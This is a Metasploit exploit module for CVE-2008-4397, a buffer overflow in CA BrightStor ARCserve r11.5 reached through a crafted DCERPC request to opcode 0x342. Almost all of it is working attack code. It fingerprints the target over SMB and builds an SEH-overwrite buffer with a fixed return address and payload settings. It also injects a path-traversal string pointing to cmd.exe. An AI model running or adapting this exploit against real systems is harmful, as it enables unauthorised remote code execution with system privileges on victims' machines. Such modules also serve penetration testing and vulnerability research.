## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Computer Associates BrightStor ARCserve r11.5 (build 3884). By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer and execute arbitrary code. In order to successfully exploit this vulnerability, you will need set the hostname argument (HNAME). }, 'Author' => [ 'Nahuel Cayento Riva', 'MC' ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '31684' ], [ 'OSVDB', '49468' ], [ 'CVE', '2008-4397' ], [ 'URL', 'http://crackinglandia.blogspot.com/2009/10/el-colador-de-ca-computer-associates.html' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 550, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets' => [ [ 'Computer Associates BrightStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0 ], 'DisclosureDate' => 'Oct 9 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('HNAME', [ true, 'The NetBios hostname of the target.']), Opt::RPORT(6504) ], self.class) end def fingerprint datastore['RPORT'] = 445 os = smb_fingerprint() return os end def exploit path = fingerprint() if (path['os'] !~ /Windows/) print_error("Target not supported!") return elsif (path['os'] =~ /Windows 2000/) dir = "winnt" offset = 442 else dir = "windows" offset = 436 end print_status("Identified OS '#{path['os']}', setting appropiate system path...") datastore['RPORT'] = 6504 connect() handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") buffer = rand_text_alpha_upper(offset) + generate_seh_payload(target.ret) sploit = NDR.string("#{datastore['HNAME'].upcase}") sploit << NDR.string("..\\..\\..\\..\\..\\..\\..\\..\\..\\#{dir}\\system32\\cmd /c \"""\"""") sploit << NDR.string(buffer) sploit << NDR.string(rand_text_alpha_upper(20)) sploit << NDR.long(2) sploit << NDR.long(2) sploit << NDR.string(rand_text_alpha_upper(20)) sploit << NDR.long(0) sploit << NDR.long(4) print_status("Trying target #{target.name}...") begin dcerpc_call(342, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse end handler disconnect end end